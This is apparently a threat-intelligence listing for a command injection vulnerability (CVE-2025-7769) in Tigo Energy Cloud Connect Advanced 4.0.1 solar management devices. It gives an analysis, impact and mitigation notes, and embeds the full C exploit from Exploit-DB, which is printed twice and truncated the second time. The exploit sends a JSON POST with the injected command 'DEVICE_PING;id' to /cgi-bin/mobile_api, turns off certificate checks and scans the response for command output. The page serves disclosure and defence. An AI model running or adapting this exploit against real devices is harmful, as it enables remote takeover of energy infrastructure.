Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
AI Analysis
Technical Summary
The Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 device contains a command injection vulnerability that allows remote attackers to execute arbitrary commands on the underlying operating system. Command injection vulnerabilities occur when user-supplied input is improperly sanitized and passed to system-level command interpreters, enabling attackers to execute malicious commands with the privileges of the vulnerable application. In this case, the vulnerability affects version 4.0.1 of the CCA device, which is used in solar energy management to monitor and control photovoltaic systems. The exploit code, publicly available on Exploit-DB and written in the C programming language, demonstrates how an attacker can remotely trigger this flaw, potentially leading to full system compromise. The vulnerability is classified as medium severity due to the lack of authentication requirements and remote exploitability, but the impact is somewhat limited by the specialized nature of the device and its deployment environment. No official patches or updates have been published by the vendor, increasing the urgency for organizations to implement compensating controls. The absence of known active exploitation campaigns suggests the vulnerability is not yet widely weaponized, but the availability of exploit code lowers the barrier for attackers to develop targeted attacks.
Potential Impact
For European organizations, this vulnerability could lead to unauthorized access and control over critical solar energy infrastructure managed by Tigo Energy CCA devices. Successful exploitation may result in disruption of energy monitoring and control functions, data leakage, or manipulation of energy production data, potentially affecting operational continuity and energy supply reliability. Confidentiality of sensitive operational data could be compromised, and integrity of system configurations and logs may be undermined. Given the increasing reliance on renewable energy sources in Europe, such disruptions could have cascading effects on energy grids and compliance with regulatory standards. Additionally, attackers could leverage compromised devices as footholds for lateral movement within industrial or enterprise networks, increasing the overall risk posture of affected organizations.
Mitigation Recommendations
In the absence of official patches, European organizations should immediately restrict network access to Tigo Energy CCA devices, limiting connections to trusted management networks and employing network segmentation to isolate these devices from broader enterprise systems. Implement strict firewall rules and intrusion detection/prevention systems to monitor and block suspicious command injection attempts. Regularly audit device configurations and logs for signs of unauthorized access or anomalous behavior. Employ VPNs or secure tunnels for remote management to reduce exposure to the internet. Engage with the vendor for updates and apply patches promptly once available. Consider deploying application-layer gateways or web application firewalls that can detect and block command injection payloads. Finally, maintain up-to-date asset inventories to ensure all affected devices are identified and monitored.
Affected Countries
Germany, Spain, Italy, France, Netherlands, Belgium, United Kingdom
Indicators of Compromise
- exploit-code: /* * Title : Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-7769 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <arpa/inet.h> #include <curl/curl.h> #define FULL_URL 2500 #define POST_PAYLOAD 5500 const char *baseurl = NULL; const char *cookies = NULL; const char *ip = NULL; const char *caFile = NULL; int caS = 0; const char *nameFileC = NULL; int port = 0; int uC =0; int verbose = 0; void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } void nanoSleep(void) { struct timespec ob; ob.tv_sec = 0; ob.tv_nsec = 500 * 1000 * 1000; __asm__ volatile ( "mov $230, %%rax\n\t" "mov $1, %%rdi\n\t" "xor %%rsi, %%rsi\n\t" "mov %0, %%rdx\n\t" "xor %%r10, %%r10\n\t" "syscall\n\t" : : "r"(&ob) : "rax", "rdi", "rsi", "rdx", "r10", "memory" ); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } const char *wordInjection[] = { //Result ID "admin", "root", "groups=0", "gid=0", "uid=1000", "gid=1000", "groups=1000", "bluetooth", //Result ls ".txt", ".py", ".php", ".sh", ".js", //Result pwd "home", "Documents", "Desktop", "Downloads", "Public", "Videos", NULL }; void postRequest(const char *baseurl, const char *ip, int port) { char full[FULL_URL]; CURL *curl = curl_easy_init(); CURLcode res; if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); printf("\e[0;31m[-] Check Connection ...\e[0m\n" ); const char *googleIp = "142.251.37.46"; printf("\e[0;31m[-] Ping Command (ip = %s)\e[0m\n", googleIp); const char *cP = "/bin/ping"; const char *av[] = { "ping", "-c", "5", "google.com", NULL }; const char *ep[] = { NULL }; __asm__ volatile ( "MOV $59, %%rax\n\t" "MOV %[cmd], %%rdi\n\t" "MOV %[argv], %%rsi\n\t" "MOV %[envp], %%rdx\n\t" "syscall\n\t" ".1:\n\t" "MOV $0x3C, %%rax\n\t" "XOR %%rdi, %%rdi\n\t" "syscall\n\t" : : [cmd] "r" (cP), [argv] "r" (av), [envp] "r"(ep) :"rax", "rdi", "rsi", "rdx" ); } if (port != 0) { goto ipPT; } printf("\e[0;31m[-] Port Not Select.\n"); if (ip) { unsigned long ipformat ; ipformat = inet_addr(ip); if (ipformat == INADDR_NONE || ipformat == -1) { printf("\e[0;31m[-] Invalid IP address string.\e[0m\n"); exitSyscall(); } int lenIp = snprintf(full, sizeof(full), "http://%s/cgi-bin/mobile_api", ip); if (checkLen(lenIp,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\n",lenIp); exitSyscall(); } goto done; ipPT: printf("\e[0;36m[+] PORT : %d\e[0m\n", port); int lenIpPT = snprintf(full, sizeof(full), "http://%s:%d/cgi-bin/mobile_api", ip, port); if (checkLen(lenIpPT,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (IP And Port) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenIpPT); exitSyscall(); } } else if (baseurl != NULL) { int lenUrl = snprintf(full, sizeof(full), "%s/cgi-bin/mobile_api", baseurl); if (checkLen(lenUrl,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (URL and EndPoint) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenUrl); exitSyscall(); } } printf("\e[0;36m[+] Final Full URL Format : %s\e[0m\n", full); printf("\e[0;36m[+] Preparation POST Payload...\e[0m\n"); printf("\e[0;36m[+] Command Payload Injection (cmd = id)\e[0m\n"); char post[POST_PAYLOAD]; snprintf(post, sizeof(post), "{\n\t\"cmd\": \"DEVICE_PING;id\",\n\t\"dev\": 2,\n\t\"ver\": 1 \n}"); printf("\e[0;34m[+] POST DATA : \n%s\n", post); struct Mem rS; rS.buffer = NULL; rS.len = 0; done : if (curl) { curl_easy_setopt(curl, CURLOPT_URL, full); if (uC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &rS); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); nanoSleep(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (caS) { curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L); curl_easy_setopt(curl, CURLOPT_CAINFO, caFile); } else { curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); } if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); headers = curl_slist_append(headers, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); if (ip) { char headerHost[150]; int lenH = snprintf(headerHost, sizeof(headerHost), "Host: %s", ip); if (checkLen(lenH,headerHost, sizeof(headerHost)) == 1) { printf("\e[0;31m[-] Header Host Is Long Please Check Size IP !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n", lenH); exitSyscall(); } else { printf("\e[0;34m[+] Header Host Create Successfully.\e[0m\n"); if (verbose) { printf("\e[0;34m[+] Header Host : %s\e[0m\n",headerHost); } headers = curl_slist_append(headers, headerHost); } } headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Upgrade-Insecure-Requests: 1"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); long hC = 0; if (res == CURLE_OK) { printf("\e[0;36m[+] Request sent successfully\e[0m\n"); if (rS.len != 0) { printf("\e[0;32m[+] Response Len : %d\e[0m\n", rS.len); } else { printf("\e[0;31m[-] Response Len IS (0)\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &hC); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", hC); if (verbose) { if (rS.buffer) { printf("\e[0;35m\n======================================== [RESPONSE] ========================================\e[0m\n"); printf("%s\n", rS.buffer); printf("\e[0;32m[Len] : %zu\e[0m\n", rS.len); printf("\e[0;35m\n=============================================================================================\e[0m\n"); } } if (hC >= 200 && hC < 300) { int s = 0; for (int j = 0; wordInjection[j] != NULL; j++) { if (strstr(rS.buffer, wordInjection[j]) != NULL) { printf("[+] Word Found : %s\n", wordInjection[j]); if (rS.buffer != NULL) { printf("\e[0;35m ============================================= [RESPONSE] =============================================\e[0m\n"); printf("\n%s\n",rS.buffer); printf("\e[0;35m ======================================================================================================\e[0m\n"); } else { if (verbose) { printf("\e[0;31m[-] Word Not Found : %s\e[0m\n", wordInjection[j]); } if (s) { printf("\e[0;31m[-] Not found Word Command Injection In Response !\e[0m\n"); } } } } } else { printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", hC); } } else { printf("\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } curl_easy_cleanup(curl); if (rS.buffer) { free(rS.buffer); rS.buffer = NULL; rS.len = 0; } } int main(int argc, const char **argv) { printf( "\e[0;31m" " ░██████ ░██ ░██ ░██████████ ░██████ ░████ ░██████ ░████████ ░█████████ ░█████████ ░██████ ░██████ \n" " ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" " ░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░███████ ░██ ░██ ░██ ░██ ░██ \n" " ░██ ░██ ░██ ░█████████ ░██████ ░█████ ░██░██░██ ░█████ ░██ ░██████ ░██ ░██ ░███████ ░███████ \n" " ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n " " ░██ ░██ ░██░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" " ░██████ ░███ ░██████████ ░████████ ░████ ░████████ ░██████ ░██ ░██ ░██████ ░██████ \n" "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\e[0;37mByte Reaper\n\e[0m" ); printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &baseurl, "Enter Target Url (http://<TARGET>)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_STRING('i', "ip", &ip, "Target IP ADDRESS"), OPT_INTEGER('p', "port", &port, "Target PORT"), OPT_STRING('a', "ca", &caFile, "CA FILE"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!baseurl && !ip) { printf("\e[0;31m-] Please Enter target Url OR target IP !\e[0m\n"); printf("\e[0;31m[-] Example : ./CVE-2025-7769 -u http://<TARGET> OR -i <IP>\e[0m\n"); exitSyscall(); } if (nameFileC) { uC = 1; } if (verbose) { verbose = 1; } if (!port) { port = 0; } if (port && baseurl) { printf("\e[0;31m[-] Please Enter Base URL !\e[0m\n"); exitSyscall(); } if (caFile) { caS = 1; } postRequest(baseurl, ip, port); curl_global_cleanup(); return 0; }
Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
Description
Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
AI-Powered Analysis
Technical Analysis
The Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 device contains a command injection vulnerability that allows remote attackers to execute arbitrary commands on the underlying operating system. Command injection vulnerabilities occur when user-supplied input is improperly sanitized and passed to system-level command interpreters, enabling attackers to execute malicious commands with the privileges of the vulnerable application. In this case, the vulnerability affects version 4.0.1 of the CCA device, which is used in solar energy management to monitor and control photovoltaic systems. The exploit code, publicly available on Exploit-DB and written in the C programming language, demonstrates how an attacker can remotely trigger this flaw, potentially leading to full system compromise. The vulnerability is classified as medium severity due to the lack of authentication requirements and remote exploitability, but the impact is somewhat limited by the specialized nature of the device and its deployment environment. No official patches or updates have been published by the vendor, increasing the urgency for organizations to implement compensating controls. The absence of known active exploitation campaigns suggests the vulnerability is not yet widely weaponized, but the availability of exploit code lowers the barrier for attackers to develop targeted attacks.
Potential Impact
For European organizations, this vulnerability could lead to unauthorized access and control over critical solar energy infrastructure managed by Tigo Energy CCA devices. Successful exploitation may result in disruption of energy monitoring and control functions, data leakage, or manipulation of energy production data, potentially affecting operational continuity and energy supply reliability. Confidentiality of sensitive operational data could be compromised, and integrity of system configurations and logs may be undermined. Given the increasing reliance on renewable energy sources in Europe, such disruptions could have cascading effects on energy grids and compliance with regulatory standards. Additionally, attackers could leverage compromised devices as footholds for lateral movement within industrial or enterprise networks, increasing the overall risk posture of affected organizations.
Mitigation Recommendations
In the absence of official patches, European organizations should immediately restrict network access to Tigo Energy CCA devices, limiting connections to trusted management networks and employing network segmentation to isolate these devices from broader enterprise systems. Implement strict firewall rules and intrusion detection/prevention systems to monitor and block suspicious command injection attempts. Regularly audit device configurations and logs for signs of unauthorized access or anomalous behavior. Employ VPNs or secure tunnels for remote management to reduce exposure to the internet. Engage with the vendor for updates and apply patches promptly once available. Consider deploying application-layer gateways or web application firewalls that can detect and block command injection payloads. Finally, maintain up-to-date asset inventories to ensure all affected devices are identified and monitored.
Affected Countries
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Technical Details
- Edb Id
- 52404
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
/* * Title : Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-7769 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <arpa/inet.h> #include <curl/curl.h> #define FULL_URL 2500 #define POST_PAYLOAD 5500 const char *baseurl = NULL; const char *cookies = NULL; const char *ip = NULL; const char *caFile = NULL; int caS = 0; const char *nameFileC
... (13637 more characters)
Threat ID: 689a95b8ad5a09ad002b0980
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 10/11/2025, 1:05:04 AM
Last updated: 10/16/2025, 9:42:02 AM
Views: 24
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